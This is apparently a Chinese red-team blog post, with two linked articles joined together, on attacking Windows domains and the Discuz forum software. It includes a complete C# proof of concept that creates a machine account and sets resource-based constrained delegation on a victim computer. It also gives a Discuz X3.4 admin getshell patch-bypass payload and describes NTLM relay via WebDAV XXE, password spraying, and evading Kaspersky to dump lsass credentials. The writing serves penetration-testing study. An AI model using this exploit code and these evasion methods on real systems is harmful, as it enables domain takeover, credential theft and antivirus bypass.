因此web3user和机器账户自身都可以去创建一个新的机器账户。现在我们就满足了2个利用基于资源的约束委派的条件：

• 能够修改msDS-AllowedToActOnBehalfOfOtherIdentity属性；

• 有一个机器账户（这里说法其实不太准确，应该是需要一个具有SPN的账户，更详细的说是需要一个账户的TGT就可以，机器账户满足以上条件）。

知道了以上条件，接下来就是一个完整S4U2协议的利用过程。

S4U2协议的利用过程

假设我们现在已经在n0thing-pc（域中一台普通机器）上拥有了上文分析的满足了2个利用基于资源的约束委派的条件。接下来继续分析一下怎么通过s4u拿到一张访问n0thing-pc的高权限票据。

• 第一步，连接域控ldap创建计算机账户evilpc

  

  在上一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》中我们提到"域控不允许在未加密的链接中创建计算机用户"。那么上面给的代码为什么是去连接域控389端口(ldap)而不是去连接636端口(ldaps)创建呢？答案是:ldaps需要配置证书才能使用，在默认环境下就不能正常工作，而ldap只要将Sealing属性设置为ture则可以用sasl加密连接。 

• 第二步，通过ldap协议在域控上设置n0thing-pc的msds-allowedtoactonbehalfofotheridentity值为O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;evilpc的sid)

  

• 第三步，使用evilpc凭据拿到一张TGT，这张TGT是为了下一步使用s4u2self时的必备身份验证条件

  

• 第四步 使用s4u2self代表administrator拿到一张TGS

  简单分析一下tgs-req做了什么? 首先将evilpc的tgt放在TGQ-REQ -> padata -> PA-DATA PA-TGS-REQ ->padata-value->ap-req 结构体中

  表示以administrator这个用户身份申请一张tgs 对自己请求 再看TGS-REP

  这张tgs是用evilpc hash加密的 s4u2self这个步骤作用是 evilpc拿自己的tgt票据请求一张访问evilpc的tgs，且该tgs的身份是administrator，而这张tgs是用evilpc的hash加密的

• 第五步 这是s4u最后一步-s4u2proxy，我们拿从s4u2self那里获取到的tgs作为验证信息再去请求一张用于访问n0thing-pc机器CIFS spn的tgs票据。

  

  sname必须是spn，通过setspn -Q */*并没有看到存在cifs spn,为什么又可以申请成功呢？

  

  因为HOST/N0THING-PC.redteam.com是多个SPN的集合，其中就涵盖了cifs

  最后拿这张票据就可以去通过操作smb服务执行命令了。

以上就是S4U2协议的利用的过程，也是基于资源的约束委派的一个详细利用过程。原理基本就到此结束了，接下来是详细的利用场景。

0x04 利用场景

说一下在真实场景中可能会出现的情况，场景如下：

新员工n0thing入职后用工作电脑加入公司域时，域内会创建名为n0thing-pc.redteam.com的计算机账户，而域用户n0thing则对计算机账户(n0thing-pc.redteam.com)的"msDS-AllowedToActOnBehalfOfOtherIdentity"属性拥有写入权限 

测试环境如下：

在以往的渗透场景中经常会出现攻击者对企业员工进行钓鱼攻击，而n0thing同学不慎中招了，但是发现该用户没有在本地管理员组里面，这时候攻击者想用mimikatz等工具获取这台机器密码时就会陷入困境。

让我们开始提权之旅，前面已经详细讲述了S4U2的利用原理，这里就给大家看利用过程。

这当然不仅仅可以用来提权，还存在其他攻击场景：

• 一个公司可能会有一个专门用来加域的账号，虽然这个账户通常只有普通域用户权限，但是如果我们控制了这个账户那么就可以打下一大批机器。

• 如果我们想拿域内机器A的权限，如果我们又没有机器A administrators组成员凭据的话还可以看机器A是通过哪个用户加入域的，控制了这个用户依然可以获取权限。

• 一个域用户X 可能会在域中创建多台机器(比如笔记本和台式机都需要加入域)，当我们有了域用户X的权限时，可以利用rbcd继续攻击其他mS-DS-CreatorSID是域用户X的机器。

下面给出用.net实现在域内查询计算机"mS-DS-CreatorSID"属性的工具

using System;using System.Security.Principal;using System.DirectoryServices;namespace ConsoleApp9{    class Program    {        static void Main(string[] args)        {            DirectoryEntry ldap_conn = new DirectoryEntry("LDAP://dc=redteam,dc=com");            DirectorySearcher search = new DirectorySearcher(ldap_conn);            String query = "(&(objectClass=computer))";//查找计算机            search.Filter = query;            foreach (SearchResult r in search.FindAll())            {                String mS_DS_CreatorSID="";                String computername = "";                try                {                    computername = r.Properties["dNSHostName"][0].ToString();
                    mS_DS_CreatorSID = (new SecurityIdentifier((byte[])r.Properties["mS-DS-CreatorSID"][0], 0)).ToString();                    //Console.WriteLine("{0} {1}\n", computername, mS_DS_CreatorSID);                }                catch                {                    ;                }                //再通过sid找用户名                String UserQuery = "(&(objectClass=user))";                DirectorySearcher search2 = new DirectorySearcher(ldap_conn);                search2.Filter = UserQuery;
                foreach (SearchResult u in search2.FindAll())                {                    String user_sid = (new SecurityIdentifier((byte[])u.Properties["objectSid"][0], 0)).ToString();

                    if (user_sid == mS_DS_CreatorSID) {                        //Console.WriteLine("debug");                        String username = u.Properties["name"][0].ToString();                        Console.WriteLine("[*] [{0}] -> creator  [{1}]",computername, username);                    }                }
            }        }    }}

如图所示，只要我们有域用户n0thing的凭据就能利用rbcd将dev01、dev02、n0thing-pc这几台机器打下来。

iis提权以及拓展

在上一篇文章《这是一篇“不一样”的真实渗透测试案例分析文章》中我们提到了system做relay是通过机器账户去请求的，那么iis用户 iis apppool\defaultapppool 出网会是什么权限呢？

是的，也是机器账户去请求的。

查阅资料发现微软的文档(https://docs.microsoft.com/en-us/iis/manage/configuring-security/application-pool-identities)中是这样解释的

 iis apppool 账号请求网络资源时用的是当前机器账户身份请求的

而这样设计会导致一个非常严重的问题就是可以直接连接到域控的ldap设置基于资源约束委派。并且不止iis可以提权，所有低权限服务(例如network service这类型的本机服务)如果可以请求域资源，那么出网都是以机器账户身份去请求的，这样都会造成权限提升。

我们来看下域内iis上的提权过程，配置环境如下:

轻松提权，上文中我们提到了低权限服务，我们还对 nt authority\network service 权限进行了测试，得到的结果都和iis一样，出网身份是机器账户，也就是说它可以用同样的手法提权。

• nt authority\network service

  域环境服务账户出网身份如下：

  

更多的利用手法和利用场景，有兴趣的朋友可以翻阅微软文档继续挖掘，比如：sql server的利用。

0x05 总结

本文介绍了RBCD提权原理并分析出了默认可利用RBCD进行攻击的账户：将机器加入域的那个账户（mS-DS-CreatorSID）和SELF机器账户自身。我们还分析了以机器账户出网的账户有：SYSTEM、iis apppool\defaultapppool、network service，结合这些条件我们提出了IIS本地提权的思路和mS-DS-CreatorSID的新的攻击面（从本地提权到横向移动的利用思路）。更多的利用思路希望读者自己发掘。

最后附上上文演示中的poc，代码参考自SharpAllowedToAct。

using System;using System.Text;using System.Security.AccessControl;using System.Security.Principal;using System.Net;namespace Addnew_MachineAccount{    class Program    {        static void Main(string[] args)        {            String DomainController = "192.168.20.10";            String Domain = "redteam.com";            //String username = args[0]; //域用户名            //String password = args[1]; //域用户密码            String new_MachineAccount = "evilpc"; //添加的机器账户            String new_MachineAccount_password = "123456"; //机器账户密码            String victimcomputer = "web2"; //需要进行提权的机器            String victimcomputer_ldap_path = "LDAP://CN=web2,CN=Computers,DC=redteam,DC=com";            String machine_account = new_MachineAccount;            String sam_account = machine_account + "$";
            String distinguished_name = "";            String[] DC_array = null;            distinguished_name = "CN=" + machine_account + ",CN=Computers";            DC_array = Domain.Split('.');            foreach (String DC in DC_array)            {                distinguished_name += ",DC=" + DC;            }            Console.WriteLine("[+] Elevate permissions on " + victimcomputer);            Console.WriteLine("[+] Domain = " + Domain);            Console.WriteLine("[+] Domain Controller = " + DomainController);            //Console.WriteLine("[+] New SAMAccountName = " + sam_account);            //Console.WriteLine("[+] Distinguished Name = " + distinguished_name);            //连接ldap            System.DirectoryServices.Protocols.LdapDirectoryIdentifier identifier = new System.DirectoryServices.Protocols.LdapDirectoryIdentifier(DomainController, 389);            //NetworkCredential nc = new NetworkCredential(username, password); //使用凭据登录            System.DirectoryServices.Protocols.LdapConnection connection = null;            //connection = new System.DirectoryServices.Protocols.LdapConnection(identifier, nc);            connection = new System.DirectoryServices.Protocols.LdapConnection(identifier);            connection.SessionOptions.Sealing = true;            connection.SessionOptions.Signing = true;            connection.Bind();            var request = new System.DirectoryServices.Protocols.AddRequest(distinguished_name, new System.DirectoryServices.Protocols.DirectoryAttribute[] {                new System.DirectoryServices.Protocols.DirectoryAttribute("DnsHostName", machine_account +"."+ Domain),                new System.DirectoryServices.Protocols.DirectoryAttribute("SamAccountName", sam_account),                new System.DirectoryServices.Protocols.DirectoryAttribute("userAccountControl", "4096"),                new System.DirectoryServices.Protocols.DirectoryAttribute("unicodePwd", Encoding.Unicode.GetBytes("\"" + new_MachineAccount_password + "\"")),                new System.DirectoryServices.Protocols.DirectoryAttribute("objectClass", "Computer"),                new System.DirectoryServices.Protocols.DirectoryAttribute("ServicePrincipalName", "HOST/"+machine_account+"."+Domain,"RestrictedKrbHost/"+machine_account+"."+Domain,"HOST/"+machine_account,"RestrictedKrbHost/"+machine_account)            });            try            {                //添加机器账户                connection.SendRequest(request);                Console.WriteLine("[+] Machine account: " + machine_account + " Password: " + new_MachineAccount_password + " added");            }            catch (System.Exception ex)            {                Console.WriteLine("[-] The new machine could not be created! User may have reached ms-DS-new_MachineAccountQuota limit.)");                Console.WriteLine("[-] Exception: " + ex.Message);                return;            }            // 获取新计算机对象的SID            var new_request = new System.DirectoryServices.Protocols.SearchRequest(distinguished_name, "(&(samAccountType=805306369)(|(name=" + machine_account + ")))", System.DirectoryServices.Protocols.SearchScope.Subtree, null);            var new_response = (System.DirectoryServices.Protocols.SearchResponse)connection.SendRequest(new_request);            SecurityIdentifier sid = null;            foreach (System.DirectoryServices.Protocols.SearchResultEntry entry in new_response.Entries)            {                try                {                    sid = new SecurityIdentifier(entry.Attributes["objectsid"][0] as byte[], 0);                    Console.Out.WriteLine("[+] "+ new_MachineAccount +" SID : " + sid.Value);                }                catch                {                    Console.WriteLine("[!] It was not possible to retrieve the SID.\nExiting...");                    return;                }            }            //设置资源约束委派            System.DirectoryServices.DirectoryEntry myldapConnection = new System.DirectoryServices.DirectoryEntry("redteam.com");            myldapConnection.Path = victimcomputer_ldap_path;            myldapConnection.AuthenticationType = System.DirectoryServices.AuthenticationTypes.Secure;            System.DirectoryServices.DirectorySearcher search = new System.DirectoryServices.DirectorySearcher(myldapConnection);            //通过ldap找计算机            search.Filter = "(CN="+victimcomputer+")";            string[] requiredProperties = new string[] { "samaccountname" };            foreach (String property in requiredProperties)                search.PropertiesToLoad.Add(property);            System.DirectoryServices.SearchResult result = null;            try            {                result = search.FindOne();            }            catch (System.Exception ex)            {                Console.WriteLine(ex.Message + "Exiting...");                return;            }            if (result != null)            {                System.DirectoryServices.DirectoryEntry entryToUpdate = result.GetDirectoryEntry();                String sec_descriptor = "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;" + sid.Value + ")";                System.Security.AccessControl.RawSecurityDescriptor sd = new RawSecurityDescriptor(sec_descriptor);                byte[] descriptor_buffer = new byte[sd.BinaryLength];                sd.GetBinaryForm(descriptor_buffer, 0);                // 添加evilpc的sid到msds-allowedtoactonbehalfofotheridentity中                entryToUpdate.Properties["msds-allowedtoactonbehalfofotheridentity"].Value = descriptor_buffer;                try                {                    entryToUpdate.CommitChanges();//提交更改                    Console.WriteLine("[+] Exploit successfully!");                }                catch (System.Exception ex)                {                    Console.WriteLine(ex.Message);                    Console.WriteLine("[!] \nFailed...");                    return;                }            }        }    }}

上一篇文章中，我们创建了一个微信群，2个小时就加入了500人满了，但依旧有很多小伙伴要加入，于是我们开放了【知识星球】，请阅读【知识星球·指南·规则】https://blog.ateam.qianxin.com/post/zsxqzn/，再加入。

阅读原文

跳转微信打开

本文是由真实的授权渗透案例引申而出的技术分析和总结文章。在文章中我们会首先简单介绍这次案例的整体渗透流程并进行部分演绎，但不会进行详细的截图和描述。然后提取整个渗透过程中比较精华的点，以点及面来进行技术分析和探讨，望不同的人有不同的收获。

作者：cheery@QAX-ATEAM && n0thing@QAX-ATEAM

校对：L.N.

同时感谢n1nty、pr0mise、2月30日对本文提出的宝贵建议。文章内容较多，建议点击文末“阅读全文”，跳转到博客阅读。

0x00 前言

本文是由一次真实的授权渗透案例引申而出的技术分析和总结文章。在文章中我们会首先简单介绍这次案例的整体渗透流程并进行部分演绎，但不会进行详细的截图和描述，一是怕“有心人”发现端倪去目标复现漏洞和破坏，二是作为一线攻击人员，大家都明白渗透过程也是一个试错过程，针对某一个点我们可能尝试了无数种方法，最后写入文章的只有成功的一种，而这种方法很有可能也是众所周知的方法。因此我们只会简单介绍渗透流程，然后提取整个渗透过程中比较精华的点，以点及面来进行技术分析和探讨，望不同的人有不同的收获。

0x01 渗透流程简述

在接到项目以后，由“前端”小组（初步技术分析小组）进行项目分析和信息收集以及整理，整理出了一批域名和一些关键站点，其中有一个phpmyadmin 和 discuz的组合建站，且均暴露在外网，这也是很常见的一种情况。由于网站某个web端口的解析配置问题导致了php不被解析而形成任意文件下载漏洞，通过这个漏洞我们拿到了mysql的root账户密码。由于linux服务器权限设置比较严格的问题没法直接使用phpmyadmin登录mysql而提权拿到discuz的webshell。经过多种尝试我们利用phpmyadmin替换管理员hash而登录discuz后台，在discuz后台利用修改ucenter配置文件的漏洞写入了webshell。

在进入内网以后，通过简单的80、443探测内网的web时候发现了一个含有java webdav的服务器（域内windows，后文中以A服务器称呼），利用java webdav的xxe去执行NTLM Relay。同时收集discuz数据库中用户名利用kerberos AS_REQ和密码喷射(一个密码和不同用户名的组合去KDC枚举)幸运的获得了一组域内用户的账户和密码，利用这个用户增加了一个机器账户。结合NTLM Relay和这个机器账户利用基于资源的约束委派，成功的使这个机器账户具有了控制A服务器的权限。登录A服务器绕过卡巴斯基抓取到了域管理密码，这次攻坚任务也因此而结束。图示如下：

在这次渗透流程中我们认为Discuz x3系列和xxe到域控这两个点是值得拿出来分析和探讨的。

0x02 Discuz X3系列

本节分为3部分，首先将对Discuz X3以后的版本出现的主要漏洞做一个简单总结，然后针对discuz的几种密钥做一些分析，最后发布一个discuz最新的后台getshell。

Discuz X3以后漏洞总结

目前市面上基本都是x3以上的Discuz程序了，x3以下的网站占比已经非常低了，因此在此只总结x3以上的漏洞。总结并不是对每个漏洞进行重新分析，这是没有必要的，网上已经有很多优秀的分析文章了。那我们为什么还要总结呢？如果你是在一线做渗透测试或者红队评估的同学，应该会经常遇到discuz，往往大部分同学一看程序版本再搜搜漏洞或者群里问问就放弃了。在大家的印象中discuz是一块硬骨头，没必要耗太多时间在它身上，但事实上discuz并不是你所想象的那么安全。本小节将通过总结discuz的各种小漏洞，再结合我们自己的几次对discuz目标的突破，提出一些利用思路和利用可能。

总结：

• 针对于discuz的ssrf漏洞，在补丁中限制了对内网ip的访问，导致了很难被利用。

• 在后台getshell中，建议使用uc_center rce比较方便，并且通杀包括最新版本，后文有分析。

• UC_KEY 直接getshell已在x3以上的最新版本被修复，但在一些老的3.2以前的版本可能被利用。

以上这些漏洞应该并不全面，且看似都比较鸡肋，但往往千里之堤毁于蚁穴，几个不起眼的小漏洞组合一下会发现威力巨大。仔细的读者应该发现以上漏洞大部分能够造成的最大危害是信息泄露，信息泄露有什么用呢？下面我们将接着分析Discuz的几种密钥，看到这儿你应该已经明白了，通过信息泄露，获得相关密钥，突破discuz的加密体系，进而获取更高的权限。

Discuz的几种密钥分析

通过分析，在discuz中,主要有下面的几种密钥, 这些密钥共同构成了discuz的加密解密体系，这里的命名有重复，我已经标记了对应key值以及key所在的位置。如下表所示：

主要探讨的其实就只有 authkey,UC_KEY(dz),UC_KEY(uc_server),UC_MYKEY,authkey(uc_server) 5种,我们首先来看着几个密钥是怎么来的最后又到了哪儿去。

密钥的产生

authkey,UC_KEY(dz),UC_KEY(uc_server),UC_MYKEY 都是在安装的时候产生。authkey(uc_server)的产生是和UC_MYKEY息息相关的，在后文中详细讲述。生成代码如下所示：

我们看见key的产生都依赖于discuz 自定义的random函数，出现过的authkey爆破问题也因此产生。在安装时由于处于同一个cgi进程，导致mt_rand() 只播种了一次种子，所以产生了随机数种子爆破和推测key的问题，在3.4版本中，authkey的产生已经是拼接了完整的32位字符串，导致了无法进行爆破推算出authkey的前半部，因此这个问题已经被修复，但这个漏洞原理值得学习。代码最后可以看出authkey产生后还放入了数据库中，最终authkey存在于数据库pre_common_setting表和/config/config_global.php配置文件。 代码中的 instal_uc_server()函数实现了UC_KEY(dz),UC_KEY(uc_server)的产生，使用了同一个生成函数_generate_key()，代码如下：

产生的算法牵扯到安装环境和安装过程的http header信息，导致爆破基本失效，从而无法预测，最后UC_KEY(dz)保存到了/config/config_ucenter.php中，UC_KEY(uc_server)保存到了/uc_server/data/config.inc.php中。

Discuz Key的相关思考

我们通过查看源码，去分析每个key影响的功能，通过这些功能点，我们可以去获得更多的信息。信息的整合和利用往往是我们渗透的关键。下面我们将做一些抛砖引玉的思考并举一些例子，但不会面面俱到一一分析，这样也没有意义，具体的代码还是需要读者自己亲自去读才能印象深刻。

1. authkey

authkey的使用在discuz主程序中占比很重，主要用户数据的加密存储和解密使用，比如alipay相关支付数据的存储和使用、FTP密码的存储等等；还用于一些功能的校验，比如验证码的校验、上传hash的校验等等；用户权限的校验也用到了authkey，比如source/class/discuz/discuz_application.php 中_init_user() 利用authkey解码了cookie中的auth字段，并利用解开的uid和pw进行权限校验，但是光知道authkey并不能完成权限校验，我们还需要知道用户的”密码hash“(数据库pre_common_member表中的password字段，此处存储的只是一个随机值的md5，真正的用户密码hash在pre_ucenter_members中)，当我们通过其他方法可以读取数据库数据时，我们就可以伪造登陆信息进行登陆，再比如source/include/misc/misc_emailcheck.php中authkey的参与了校验hash的生成，当我们知道了authkey后，通过伪造hash，我们可以修改用户的注册邮箱，然后利用密码找回来登陆前台用户(管理员不能使用密码找回功能)。

2. UC_KEY(dz)

UC_KEY(dz)也是经常提到的UC_KEY GetWebShell的主角。它主要在2个地方被使用：一个是数据库备份api/db/dbbak.php；一个是针对用户以及登录和缓存文件相关的操作，主要函数位于api/uc.php中的uc_note类。

关于UC_KEY(dz)的利用，网上基本都是通过uc.php来GetWebShell，但这个漏洞在新版本已经被修复了。UC_KEY(dz)的利用并不局限与此，你去阅读dbbak.php代码就会发现，有了UC_KEY(dz)我们可以直接备份数据库，下载数据库，从数据库中找到相关信息进行进一步渗透。

另外一个地方就是uc_note类，比如里面的synlogin()函数可以伪造登陆任意前台用户。当然还有其他的函数，在这里就不一一分析。

3. UC_KEY(uc_server)

UC_KEY(uc_server)往往是被大家忽视的一个key，它其实比UC_KEY(dz)的使用更多。首先他同样可以备份数据库，对discuz代码比较熟悉的同学应该知道dbbak.php这个文件有2个，一个是上面提到的api/db/dbbak.php；另外一个是uc_server/api/dbbak.php，他们的代码可以说几乎相同。唯一的区别是api/db/dbbak.php中多了2个常量的定义，基本没有太大影响。这个2个文件都能被UC_KEY(dz)和UC_KEY(uc_server)操控。

UC_KEY(uc_server)几乎管控了Ucenter的所有和权限认证相关的功能。例如权限验证函数 sid_decode() ，在该函数中UC_KEY(uc_server)和用户可控的http header共同产生了用于权限认证的sid，因此我们可以伪造sid绕过一些权限检测。还有seccode的相关利用，在这里就不一一介绍。

整个discuz的程序其实是包含了discuz主程序和Ucenter，Ucenter更依赖于固定密钥体系，个人感觉Ucenter的漏洞可能要比discuz主程序好挖些，你可以去试试。

4. UC_MYKEY

UC_MYKEY主要用来加密和解密UC_KEY(discuz)，如下所示：

authkey(uc_server)存储在数据库的pre_ucenter_applications中的authkey字段，authkey(uc_server)生成的代码如下:

现在我们就可以知道其实UC_KEY(dz)是可以从2个地方获取到的，一个是配置文件，一个是数据库。对discuz比较熟悉的同学这里会发现一个问题，通过注入获得的authkey (uc_server)，有时候可以直接当UC_KEY(dz)用，但有时候发现是一个大于64位的字符串或小于64位的字符串。这个是因为，如果你是默认discuz主程序和Ucenter安装，这个时候数据库pre_ucenter_applications中的authkey字段存储的就是UC_KEY(dz)，如果你通过ucenter后台修改过UC_KEY(dz)，数据库pre_ucenter_applications中的authkey字段存储的就是通过上面提到的算法计算出来的结果了，这个结果的长度是变化的，是一个大于等于40位的字符串。

总结

针对于getshell来说，在x3以前的低版本和部分未更新的x3.2以前版本，我们可以直接利用discuz的uc_key(dz)结合api/uc.php前台getshell,获得uc_key(dz)的方法有:

1. 数据库中的authkey(uc_server)结合UC_MYKEY，这个在UCenter后台也能看见，没有使用*显示。

2. 文件泄露等问题获得uc_key(dz)

在x3版本以后，对于key的利用主要集中在操作数据库和UCenter功能上，利用各种办法进入discuz后台，结合接下来讲到的后台GetWebShell的方法获取最终权限。

后台GetWebShell的补丁绕过

在小于x3.4的版本中，网上已经公布的利用方法是：后台修改Ucenter数据库连接信息，由于写入未转义，一句话木马直接写入config/config_ucenter.php文件中，导致代码执行。

但是在新版本的x3.4中已经修复了这个漏洞，代码如下：

补丁对 $ucdbpassnew 进行了转义，而且if(function_exists("mysql_connect") && ini_get("mysql.allow_local_infile")=="1" && constant("UC_DBHOST") != $settingnew['uc']['dbhost']), 该补丁还解决了恶意mysql文件读取的问题。

绕过补丁

通过补丁，我们知道了所有的Ucenter配置参数都会进行转义，但是我发现discuz的配置文件更改，都是利用字符替换完成的，在替换字符中，很容易出现问题，所以在源码中寻找配置修改的相关代码，最后在 api/uc.php 中找到了利用点。

在 updateapps 函数中完成了对 uc_api 的更新，这里的正则在匹配时是非贪婪的，这里就会存在一个问题，当uc_api为 define('UC_API', 'http://127.0.0.1/discuz34/uc_server\');phpinfo();//'); 时，我们执行updateapps函数来更新uc_api时就会将phpinfo();释放出来。 要使用updateapps函数来更新uc_api，我们需要知道UC_KEY(dz)的值，而UC_KEY(dz)的值，恰好是我们后台可以设置的。

利用分析

1. 进入后台站长-Ucenter设置，设置UC_KEY=随意(一定要记住，后面要用), UC_API= http://127.0.0.1/discuz34/uc_server');phpinfo();//  

成功写进配置文件，这里单引号被转移了，我们接下来使用UC_KEY(dz)去调用api/uc.php中的updateapps函数更新UC_API。

2. 利用UC_KEY(dz) 生成code参数，使用过UC_KEY(dz) GetWebShell的同学肯定不陌生，这里使用的UC_KEY(dz)就是上面我们设置的。

   

3. 将生成的数据带入GET请求中的code 参数，发送数据包 

4. 访问http://127.0.0.1/discuz34/config/config_ucenter.php 代码执行成功  

到此成功GetWebShell，在这个过程中，有一点需要注意的是，我们修改了程序原有的UC_KEY(dz)，成功GetWebShell以后一定要修复，有2中方法：

1. 从数据库中读取authkey(uc_server)，通过UC_MYKEY解密获得UC_KEY(dz)，当然也有可能authkey(uc_server)就是UC_KEY(dz)。

2. 直接进入Ucenter后台修改UC_KEY，修改成我们GetWebShell过程中所设置的值。

0x03 XXE to 域控

在本节中我们会讲到WEBDAV XXE（JAVA）利用NTLM Relay和一个机器账户去设置基于资源的约束委派来RCE的故事。当然绕过卡巴斯基dump lsass也是非常的精彩。流程图示如下：

WEBDAV XXE

前文中已经提到了我们进入内网后发现一台部署着java应用的web服务器，并探测出该网站存在/webdav目录。

在一个国外安全研究员的ppt(What should a hacker know about WebDav? )中这样提到： 一般webdav支持多种http方法，而PROPPATCH、PROPFIND、 LOCK等方法接受XML作为输入时会形成xxe。

我们探测下支持的http方法：

我们在测试PROPFIND方法时成功收到了xxe请求：

常规的xxe一般会想到任意文件读取、以及网上提到的利用gopher打redis等。在《Ghidra 从 XXE 到 RCE》中提到利用java xxe做ntlm relay操作。由于sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求遇到状态码为401的HTTP返回头时，会判断该页面要求使用哪种认证方式，若攻击者回复要求采用NTLM认证则会自动使用当前用户凭据进行认证。

现在我们成功获取到了NTLM认证请求，接下来就是NTLM中继了。

NTLM中继和域机器账户添加

什么是NTLM中继

相信大家都不陌生，要理解什么是NTLM中继首先要知道NTLM认证的大致流程，这里做个简单讲述，详细请参考The NTLM Authentication Protocol and Security Support Provider。

NTLM身份验证协议中包含3个步骤：

1. 协商：NTLM身份验证的第一步是协议的协商，以及客户端支持哪些功能。在此阶段，客户端将身份验证请求发送到服务器，其中包括客户端接受的NTLM版本。

2. 质询：服务器以自己的消息作为响应，指示其接受的NTLM版本以及要使用的功能。该消息还包括challenge值。

3. 响应：收到challenge后客户端用hash将challenge加密，作为NTLM Response字段发送给服务器。

NTLM身份验证是基于质询响应的协议，服务器发送一个质询，客户端对这个质询进行回复。如果质询与服务器计算的质询匹配，则接受身份验证。

知道了NTLM身份认证的大致流程，我们再来说NTLM中继，如下图所示，如果我们可以让Client A 向我们的Evil Server X，发起NTLM认证，那么我们就可以拿Client A的身份验证信息去向Server B进行认证，这便是ntlm中继。看到这里你会觉得说了那么多不就是中间人攻击么，对就是中间人攻击。

知道了NTLM中继，结合Java WEBDAV XXE的作用，利用HTTP 401的认证，我们可以直接利用WEBDAV服务器的凭据向域控发起认证，让域控以为我们是WEBDAV服务器。

在域中增加机器账户

在这里可能有同学有疑问了，前面不是提了中继么？为什么不用《Ghidra 从 XXE 到 RCE》和《Ghost Potato》里提到的方式去Relay回自身调用RPC进行相关操作，还要增加机器账户呢？因为这个WEBDAV服务是system权限运行的，而system账户做Relay时是用机器账户去请求的，没有办法去调高权限RPC接口，所有这里不能直接Relay回自身调用RPC。

既然不能直接Relay回自身调用RPC，我们换一种思路，用基于资源约束委派一样可以获取权限。

在通过基于资源约束委派进行利用时，需要有一个机器账户来配合（这里说法其实不太准确，应该是需要一个具有SPN的账户，更详细的说是需要一个账户的TGT，而一个机器账户来代替前面的说法，是因为机器账户默认具有一些SPN，这些SPN包含了我们后面会用到的cifs等，这里就不细说了，不然又是一篇文章了，后面统一用机器账户来描述），而默认域控的ms-DS-MachineAccountQuota属性设置允许所有域用户向一个域添加多达10个计算机帐户，就是说只要有一个域凭据就可以在域内任意添加机器账户。这个凭据可以是域内的用户账户、服务账户、机器账户。

那么问题又来了，既然需要一个机器账户，前面提到的

system账户做Relay时是用机器账户去请求

这个地方说的机器账户，也就是我们文中的WEBDAV服务器的机器账户，为什么不用这个机器账户，要自己去增加一个呢？了解基于资源约束委派的同学应该知道，我们需要用机器账户去申请TGT票据，但是我们如果用WEBDAV服务器的机器账户，我们不知道这个机器账户的密码或者hash。没有办法去申请TGT。如果是我们创建的机器账户，我们是知道密码的，这样才能去申请TGT了，这里就不在深入继续分析了，里面涉及到的过程极其复杂，有兴趣的同学可以自行学习。

回归正题，我们怎么在域中去创建一个机器账户。

我们把在之前的discuz数据库中的用户名整理成字典，并通过kerberos AS_REQ返回包来判断用户名是否存在。

接下来将discuz的密码拿到cmd5上批量解密，解密后发现大部分用户的登录密码都是P@ssw0rd，于是使用密码喷射(一个密码和不同用户名的组合去KDC枚举) ，成功获取到了一个域凭据n0thing@blueteam.com:P@ssw0rd

有了域凭据后就能连接域控ldap添加机器账户了，不得不说.net真是个好语言，用System.DirectoryServices.Protocols这个东西很轻松就能实现该功能。

有细心的同学看到这里可能会想: "用xxe中继到域控的ldap然后添加一个机器账户不是美滋滋? 哪需要这么花里胡哨的！"。但是域控不允许在未加密的连接上创建计算机帐户，这里关于加密涉及到tls/ssl和sasl，又是一堆的知识，这里就不细聊了。

用.net写的小工具很轻松地添加上了一个机器账户。

现在我们有了机器账户，接下来就利用基于资源的约束委派。

基于资源的约束委派

Windows Server 2012中新加入了基于kerberos资源的约束委派(rbcd)，与传统的约束委派相比，它 不再需要域管理员对其进行配置，可以直接在机器账户上配置msDS-AllowedToActOnBehalfOfOtherIdentity属性来设置基于资源的约束委派。此属性的作用是控制哪些用户可以模拟成域内任意用户，然后向该计算机(dev1)进行身份验证。简而言之：如果我们可以修改该属性那么我们就能拿到一张域管理员的票据，但该票据只对这台机器(dev1)生效，然后拿这张票据去对这台机器(dev1)进行认证（这里只是简单描述，可能不太准确，还是那句话基于资源的约束委派整个过程细节及其复杂，笔者也不敢说掌握全部细节）。

现在我们开始实际操作，首先在我们的VPS上利用impacket工具包中的ntlmrelayx.py工具监听。

然后用xxe请求我们的VPS，接着将凭据中继到域控服务器的LDAP服务上设置基于资源约束委派。

再用s4u协议申请高权限票据。

获得票据以后就可以直接登录WEBDAV服务器了

整个RCE过程到此结束了，但是还没有拿下域控，渗透任务还没有结束，先上一个GIF演示整个RCE过程，接下来再讲怎么拿下域控。

卡巴斯基的对抗

其实拿下域控的过程很常规，就是在WEBDAV服务器上抓到了域管理员的账户密码。但是这里难点是卡巴斯基的对抗，绕不过你就拿不到域管理员的账户密码。

这里安装的卡巴斯基全方位防护版来进行测试。

1. 绕过卡巴斯基横向移动

在真实场景中并不会像本地环境一样顺利，当我们拿到一张高权限票据后准备对dev2机器进行pass the ticket时存在卡巴斯基怎么办呢？常规的smbexec.py会被拦截的。

我们这里的绕过方法是用smb上传一个beacon再通过创建启动服务执行beacon全程无拦截，当然beacon.exe需要进行免杀处理。

2. 绕过卡巴斯基抓lsass中的密码

我想最糟心的事情莫过于知道域管理员登录过这台机器，但却没有办法抓密码。下面将介绍如何解决这个问题。相信在红队行动中遇到卡巴斯基的小伙伴不少，也知道他对防止从lsass中抓取密码做的是多么的变态。即使你使用微软签名的内存dump工具也会被拦截，更不用说什么mimikatz了。

偶然在国外大佬博客上看到了一篇通过RPC调用添加一个SSP dll的文章Exploring Mimikatz - Part 2 - SSP，突然醍醐灌顶，lsass自身绝对可以读自己内存呀，加载dll到lsass进程然后dump内存不是就可以绕过了？不禁感叹：站在巨人肩膀上看到的世界果然更为辽阔。

下载编译这个代码ssp_dll.c 然后再写一个dump 进程内存的dll。

这样就绕过了卡巴斯基dump到了lsass的内存了。

最后本地导入mimikatz的常规操作就不细说了，上几个截图。

到此是真的要结束了，有域管理员的账户密码，怎么拿下域控，我相信这个不用多说了。

0x04 总结

我们回顾一下，从discuz到xxe，从xxe到域控，整个过程我们在真实的渗透过程中其实没有花费太多时间，可能得益于平时的积累。针对此次渗透，我们还是收获满满，希望你也是。

最后的最后，我们来进行一次反思。

1. Discuz并不是无懈可击的，不要闻风丧胆，遇见就上不要怂，可能他就是你的突破口。

2. 请期待我们的下一篇文章《微软不认的0day之域内本地提权-烂番茄》

3. 生命不息，研究不止。如果你想加入A-TEAM，请投简历：duyihan@qianxin.com

